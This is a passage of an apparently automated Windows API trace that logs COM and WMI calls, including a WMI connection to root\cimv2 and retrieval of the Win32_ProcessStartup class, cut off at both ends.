[4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.066] WbemDefPath:IUnknown:Release (This=0x1c053db0) returned 0x3 [0083.066] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0083.067] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0083.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f930, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0083.067] WbemDefPath:IUnknown:Release (This=0x1c02f930) returned 0x2 [0083.067] WbemDefPath:IUnknown:Release (This=0x1c02f930) returned 0x1 [0083.067] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0083.067] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0083.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f930, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1c02f930) returned 0x0 [0083.067] WbemDefPath:IUnknown:AddRef (This=0x1c02f930) returned 0x3 [0083.067] WbemDefPath:IUnknown:Release (This=0x1c02f930) returned 0x2 [0083.067] WbemDefPath:IWbemPath:SetText (This=0x1c02f930, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0083.067] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f930, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0083.067] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f930, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0083.067] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f930, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0083.067] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f930, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0083.067] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f930, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0083.067] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f930, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0083.067] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f930, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0083.067] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0083.067] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0083.067] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.067] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0083.068] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0083.068] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0083.068] IUnknown:Release (This=0x111f638) returned 0x1 [0083.070] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1c054b90) returned 0x0 [0083.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c054b90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0083.070] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c054b90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1c02f870) returned 0x0 [0083.070] WbemDefPath:IUnknown:Release (This=0x1c054b90) returned 0x0 [0083.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f870, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1c02f870) returned 0x0 [0083.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f870, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0083.071] WbemDefPath:IUnknown:AddRef (This=0x1c02f870) returned 0x3 [0083.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f870, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0083.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f870, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0083.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f870, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1c054bd0) returned 0x0 [0083.071] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c054bd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.071] WbemDefPath:IUnknown:Release (This=0x1c054bd0) returned 0x3 [0083.071] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0083.071] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0083.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f870, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0083.071] WbemDefPath:IUnknown:Release (This=0x1c02f870) returned 0x2 [0083.071] WbemDefPath:IUnknown:Release (This=0x1c02f870) returned 0x1 [0083.071] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0083.071] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0083.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f870, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1c02f870) returned 0x0 [0083.071] WbemDefPath:IUnknown:AddRef (This=0x1c02f870) returned 0x3 [0083.071] WbemDefPath:IUnknown:Release (This=0x1c02f870) returned 0x2 [0083.072] WbemDefPath:IWbemPath:SetText (This=0x1c02f870, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0083.072] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f870, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0083.072] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f870, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0083.072] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f870, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.072] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0083.072] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0083.072] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0083.072] IUnknown:Release (This=0x111f638) returned 0x1 [0083.073] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1c054cd0) returned 0x0 [0083.073] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054cd0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0083.073] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c054cd0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1c054cf0) returned 0x0 [0083.073] WbemLocator:IUnknown:Release (This=0x1c054cd0) returned 0x0 [0083.073] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054cf0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1c054cf0) returned 0x0 [0083.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054cf0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0083.074] WbemLocator:IUnknown:AddRef (This=0x1c054cf0) returned 0x3 [0083.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054cf0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0083.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054cf0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0083.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054cf0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0083.074] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0083.074] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0083.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054cf0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0083.074] WbemLocator:IUnknown:Release (This=0x1c054cf0) returned 0x2 [0083.074] WbemLocator:IUnknown:Release (This=0x1c054cf0) returned 0x1 [0083.074] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0083.074] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0083.074] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054cf0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1c054cf0) returned 0x0 [0083.075] WbemLocator:IUnknown:AddRef (This=0x1c054cf0) returned 0x3 [0083.075] WbemLocator:IUnknown:Release (This=0x1c054cf0) returned 0x2 [0083.075] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f870, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0083.075] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f870, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0083.075] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f870, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.075] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1c054d10) returned 0x0 [0083.075] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c054d10, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1c03efa0) returned 0x0 [0083.363] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03efa0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf97320) returned 0x0 [0083.363] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf97320, pProxy=0x1c03efa0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0083.363] WbemLocator:IUnknown:Release (This=0x1bf97320) returned 0x1 [0083.363] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03efa0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf97360) returned 0x0 [0083.363] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03efa0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf97320) returned 0x0 [0083.363] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf97320, pProxy=0x1c03efa0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0083.363] WbemLocator:IUnknown:Release (This=0x1bf97320) returned 0x2 [0083.363] WbemLocator:IUnknown:Release (This=0x1bf97360) returned 0x1 [0083.363] CoTaskMemFree (pv=0x11dcd60) [0083.363] WbemLocator:IUnknown:AddRef (This=0x1c03efa0) returned 0x2 [0083.363] WbemLocator:IUnknown:Release (This=0x1c054d10) returned 0x0 [0083.364] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0083.364] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0083.364] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03efa0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf97330) returned 0x0 [0083.364] WbemLocator:IRpcOptions:Query (in: This=0x1bf97330, pPrx=0x1c054d70, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0083.364] WbemLocator:IUnknown:Release (This=0x1bf97330) returned 0x2 [0083.364] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0083.364] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0083.364] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03efa0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1c03efa0) returned 0x0 [0083.364] WbemLocator:IUnknown:Release (This=0x1c03efa0) returned 0x2 [0083.364] SysStringLen (param_1=0x0) returned 0x0 [0083.364] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f930, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0083.364] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f930, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0083.365] IWbemServices:GetObject (in: This=0x1c03efa0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1c02a8e0, ppCallResult=0x0) returned 0x0 [0083.366] IWbemClassObject:Get (in: This=0x1c02a8e0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0083.366] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0083.366] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0083.366] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0083.367] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0083.367] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0083.367] IUnknown:Release (This=0x111f638) returned 0x1 [0083.368] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1c054d10) returned 0x0 [0083.368] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c054d10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0083.369] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c054d10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1c02f7b0) returned 0x0 [0083.369] WbemDefPath:IUnknown:Release (This=0x1c054d10) returned 0x0 [0083.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f7b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1c02f7b0) returned 0x0 [0083.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f7b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0083.369] WbemDefPath:IUnknown:AddRef (This=0x1c02f7b0) returned 0x3 [0083.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f7b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0083.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f7b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0083.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f7b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: 